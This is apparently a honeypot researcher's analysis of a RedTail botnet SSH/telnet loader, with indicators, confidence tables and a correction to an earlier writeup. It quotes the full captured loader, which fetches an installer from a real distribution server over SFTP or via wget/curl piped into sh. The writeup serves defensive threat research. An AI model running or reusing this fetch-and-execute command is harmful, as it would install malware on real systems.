What changed
The RedTail capture in January was four UPX-packed binaries uploaded to the decoy inside one minute, one per CPU architecture. They came from 130.12.180.51, an address that has attacked these sensors since January. It kept delivering RedTail that way until 22 June: the same four binaries every time, with a setup.sh and a clean.sh beside them.
In July it logged in 106 times without running a command. On 12 August it started again with a different delivery. Every command it has sent since, 151 of them, is the same one-line loader. Sessions from 129 other addresses send it too.
The loader
This is the session from 14 September, 20:13 UTC, with the key body removed. Line breaks are mine; it arrives as one command.
uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A" # prints auth_ok cd /tmp || cd /var/tmp || cd /dev/shm echo '-----BEGIN OPENSSH PRIVATE KEY----- [removed] -----END OPENSSH PRIVATE KEY-----' > key.ppk echo 'StrictHostKeyChecking no UserKnownHostsFile /dev/null' > sshcfg chmod 400 key.ppk scp -s -F sshcfg -i key.ppk [email protected]:sh out_sh if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1 else (wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s ssh fi rm -rf sshcfg key.ppk out_sh
Step by step: print a marker so the operator's scanner knows it has a working shell. Move to a writable directory. Write an unencrypted ed25519 private key and an SSH client config that turns off host-key checking and the known-hosts file. Copy a file called sh from the account dlr on the distribution server, using scp -s, which runs the transfer over the SFTP protocol. Run it with one argument, ssh, which tells the installer how the machine was entered. If the copy fails, fetch the same file over HTTPS from the same server with certificate checking off and pipe it into a shell. Then delete the key, the config and the installer.
The marker is hex-encoded in the command and only becomes the text auth_ok when the shell prints it, so a search of the command text for the marker finds nothing.
It names itself
Telnet sessions run the same loader with telnet as the argument. They first type the words that drop many routers' management consoles to a Linux prompt (enable, system, shell, sh, bash), and they end with one more hex echo:
echo -e "\x72\x65\x64\x74\x61\x69\x6C\x5F\x62\x6F\x74\x5F\x74\x65\x6C\x6E\x65\x74\x5F\x6F\x6B" redtail_bot_telnet_ok
All 144 telnet sessions end that way. As in January, the family name comes from the attacker's own text rather than from my analysis, and that is the stronger evidence.
One key, three servers
| Distribution server | First seen | Last seen | Sessions |
|---|---|---|---|
217.60.195.113 | 2026-08-12 | 2026-09-11 | 133 |
217.60.103.56 | 2026-09-11 | 2026-10-02 | 75 |
217.60.102.5 | 2026-10-03 | 2026-10-23 | 88 |
All three servers are in the same network, AS209373. The hand-offs were quick: the last session naming the old server and the first naming the new one were about two hours apart in September and about nine hours apart in October.
The key did not change. Every one of the 296 sessions, over both SSH and telnet and across all three servers, carried the same ed25519 key, with the comment dlr@sftp and the public-key fingerprint SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg. The account and the key moved from server to server unchanged.
I did not use the key. Logging in with it would mean accessing a server I do not own, whoever runs it. The fingerprint is published because the operator of a server can check it against the authorized keys on their own machines without ever holding the private key.
Why pull instead of push
These are inferences, not observations.
- The attacking address never carries the payload. The session sends under a kilobyte of text. The binaries move from the distribution server to the victim, so the server can change without the attackers changing, and here it did, twice.
- The transfer looks like ordinary SSH. A network monitor sees an encrypted session to port 22, not a file name or an executable crossing the wire.
- The key is cheap to expose. It has been handed to anything that answers with a shell, 296 times on these sensors alone. The account name and the key's comment suggest an account that exists to hand out files. I have not tested that, and will not.
A correction to the previous capture
Correction. In One login, one dropper I wrote that 130.12.180.51 dropped "an ed25519 private key and an ssh_config fragment containing StrictHostKeyChecking no over SFTP" and called it "persistence staging, not a botnet loader." Both parts were wrong. The key and the config were written with echo inside one command, not uploaded. They are not persistence; they are this loader, and the loader is RedTail's. I read two files without reading the command that made them. The correction is in that writeup, where the original claim was.
What the blocklist does with it
130.12.180.51 is on the blocklist's credential tier. The three distribution servers are not on it; in these sessions they appear only as the place the installer comes from.
The servers are named here because the activity is sustained: ten weeks and still running on the day this was written.
What I can and cannot say
| Claim | Confidence |
|---|---|
| What the loader does, step by step | High. Read directly from 296 session logs. |
| It is RedTail | High. The telnet variant names itself in 144 of 144 sessions. The SSH variant uses the same key and the same servers, and comes from the address that delivered RedTail binaries in January. |
| One key throughout | High. The same public key in all 296 sessions. |
| What the installer does | Unknown. It was never captured. When this address delivered RedTail by upload, every set included a setup.sh; the installer is probably its successor. That is an expectation, not an observation. |
| The 128 telnet sources are infected devices | Likely, not proven. Most appear once or twice, from consumer and cloud networks. |
Remaining gaps
The installer. I do not know what sh installs, or whether the HTTPS copy matches the SFTP one.
July. 106 logins and no commands. Whether that was the operator rebuilding the delivery or something else, the logs cannot say.
The account. Whether dlr can do anything besides hand out one file is untested and will stay that way.
Indicators
Distribution servers 217.60.195.113 2026-08-12 to 2026-09-11
(SFTP account dlr, 217.60.103.56 2026-09-11 to 2026-10-02
HTTPS fallback) 217.60.102.5 2026-10-03 to 2026-10-23, in use
Key ed25519, comment dlr@sftp
SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
Files key.ppk, sshcfg, out_sh in /tmp, /var/tmp or /dev/shm
Markers auth_ok, redtail_bot_telnet_ok (hex in the command text)